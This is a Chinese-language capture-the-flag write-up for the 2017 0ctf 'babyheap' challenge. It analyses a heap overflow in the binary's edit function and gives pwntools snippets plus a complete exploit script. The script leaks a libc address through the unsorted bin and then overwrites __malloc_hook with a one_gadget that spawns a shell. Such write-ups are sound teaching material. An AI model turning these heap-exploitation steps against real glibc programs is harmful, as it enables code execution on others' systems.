pwn|2017 0ctf babyheap

0x00 废话
考完试了,一学期结束,我还是这么菜。
0x01 程序分析
很常规的一个堆利用题目了,各个函数功能块都很简单,主函数如下

__int64 __fastcall main(__int64 a1, char **a2, char **a3) { chunk *head; // [rsp+8h] [rbp-8h]head = (chunk *)init_my(); while ( 1 ) { menu(); read_num(); switch ( (unsigned __int64)off_14F4 ) { case 1uLL: add(head); break; case 2uLL: fill(head); break; case 3uLL: delete(head); break; case 4uLL: dump(head); break; case 5uLL: return 0LL; default: continue; } } }

结构体如下
00000000 chunkstruc ; (sizeof=0x18, mappedto_6) 00000000 inusedq ? 00000008 sizedq ? 00000010 strdq ?; offset 00000018 chunkends

基本就是对该结构的字符串进行修改和删除操作,结构体本身不会分配chunk,而是以全局数组元素的形式出现。
0x02 利用方式
在edit函数中,没有对size进行限制,这使得我们的输入可以溢出到后方chunk中,即存在堆溢出漏洞。思路如下:
1.泄漏libc->泄漏unsortbin
利用堆溢出,我们可以堆后方chunk的各个字段进行修改,包括大小和fd指针,这样我们能在任意地址分配chunk
要泄漏unsortbin地址,即必须同时存在一个inuse_chunk和一个已被unsortbin回收的chunk,且这两个chunk为同一chunk。这样inuse_chunk的数据即为unsortbin中的一个地址,它与libc的相对偏移固定。
在64位的情况下,unsortbin只会回收大于128字节的块,所以需要申请一个0x80大小的chunk。要使该chunk在free后依然处于inuse状态,必须让另一节点也指向该chunk,这里我们通过堆溢出使得free后的某一chunk的fd指向该0x80的chunk,由于不知道具体地址,所以该free后的chunk的fd必须指向另一free chunk,然后只覆盖最低1字节即可。重新分配后我们就能得到一个既是inuse_chunk也被unsortbin回收的chunk。需要注意的是,为了保证malloc和free的顺利进行,有时需要对该chunk的size进行修改;且为了防止0x80 chunk在free后合并到top chunk,需要多分配一个chunk保证其不连续性。
#leak libc add(0x10) add(0x10) add(0x10) add(0x10) add(0x80) delete(2) delete(1) payload = 'a'*0x10 + p64(0) + p64(0x21) + p8(0x80) #cover 0->fd low byte edit(0, len(payload), payload) #fastbin: 1->4add(0x10) #1payload = 'a'*0x10 + p64(0) + p64(0x21) #change size edit(3, len(payload), payload)add(0x10) #2(4)payload = 'a'*0x10 + p64(0) + p64(0x91) #change size edit(3, len(payload), payload) add(0x80) delete(4)#get unsortbin address menu() p.sendline('4') p.recvuntil('Index: ') p.sendline('2') p.recvline() unsortbin_addr = u64(p.recv(8)) libc_addr = unsortbin_addr - 0x3c4b78 print hex(libc_addr)


2.修改__malloc_hook->伪造main_arean-0x33处chunk
这里就很常见了,本质上是伪造了一个chunk结构在__malloc_hook周围,然后__malloc_hook能作为数据部分供我们修改,最终写入一个one_gadget即可对malloc完成hook
#cover __malloc_hook main_arena = libc_addr + 0x3c4b20 add(0x60) delete(4) fake_chunk = main_arena - 0x33 edit(2, len(p64(fake_chunk)), p64(fake_chunk)) #change fd add(0x60) #4 add(0x60) #fake chunk ''' 0x45216 execve("/bin/sh", rsp+0x30, environ) constraints: rax == NULL0x4526a execve("/bin/sh", rsp+0x30, environ) constraints: [rsp+0x30] == NULL0xf02a4 execve("/bin/sh", rsp+0x50, environ) constraints: [rsp+0x50] == NULL0xf1147 execve("/bin/sh", rsp+0x70, environ) constraints: [rsp+0x70] == NULL ''' payload = 0x13*'a' + p64(libc_addr + 0x4526a) edit(6, len(payload), payload) menu() p.sendline('1') p.recvuntil('Size: ') p.sendline(str(0x40))

【pwn|2017 0ctf babyheap】
完整脚本:
from pwn import *context(arch='amd64', os='linux', log_level='debug')libc = ELF('./libc.so.6')p = process('./babyheap')def menu(): p.recvuntil('Command: ')def add(size): menu() p.sendline('1') p.recvuntil('Size: ') p.sendline(str(size)) p.recvline()def edit(idx, size, content): menu() p.sendline('2') p.recvuntil('Index: ') p.sendline(str(idx)) p.recvuntil('Size: ') p.sendline(str(size)) p.recvuntil('Content: ') p.sendline(content)def delete(idx): menu() p.sendline('3') p.recvuntil('Index: ') p.sendline(str(idx))def dump(idx): menu() p.sendline('4') p.recvuntil('Index') p.recvline()def main(): #leak libc add(0x10) add(0x10) add(0x10) add(0x10) add(0x80) delete(2) delete(1) payload = 'a'*0x10 + p64(0) + p64(0x21) + p8(0x80) edit(0, len(payload), payload) #fastbin: 1->4add(0x10) #1payload = 'a'*0x10 + p64(0) + p64(0x21) #change size edit(3, len(payload), payload)add(0x10) #2(4)payload = 'a'*0x10 + p64(0) + p64(0x91) #change size edit(3, len(payload), payload) add(0x80) delete(4)menu() p.sendline('4') p.recvuntil('Index: ') p.sendline('2') p.recvline() unsortbin_addr = u64(p.recv(8)) libc_addr = unsortbin_addr - 0x3c4b78 print hex(libc_addr)#cover __malloc_hook main_arena = libc_addr + 0x3c4b20 add(0x60) delete(4) fake_chunk = main_arena - 0x33 edit(2, len(p64(fake_chunk)), p64(fake_chunk)) #change fd add(0x60) #4 add(0x60) #fake chunk ''' 0x45216 execve("/bin/sh", rsp+0x30, environ) constraints: rax == NULL0x4526a execve("/bin/sh", rsp+0x30, environ) constraints: [rsp+0x30] == NULL0xf02a4 execve("/bin/sh", rsp+0x50, environ) constraints: [rsp+0x50] == NULL0xf1147 execve("/bin/sh", rsp+0x70, environ) constraints: [rsp+0x70] == NULL ''' payload = 0x13*'a' + p64(libc_addr + 0x4526a) edit(6, len(payload), payload) menu() p.sendline('1') p.recvuntil('Size: ') p.sendline(str(0x40))p.interactive()if __name__ == '__main__': main()


    推荐阅读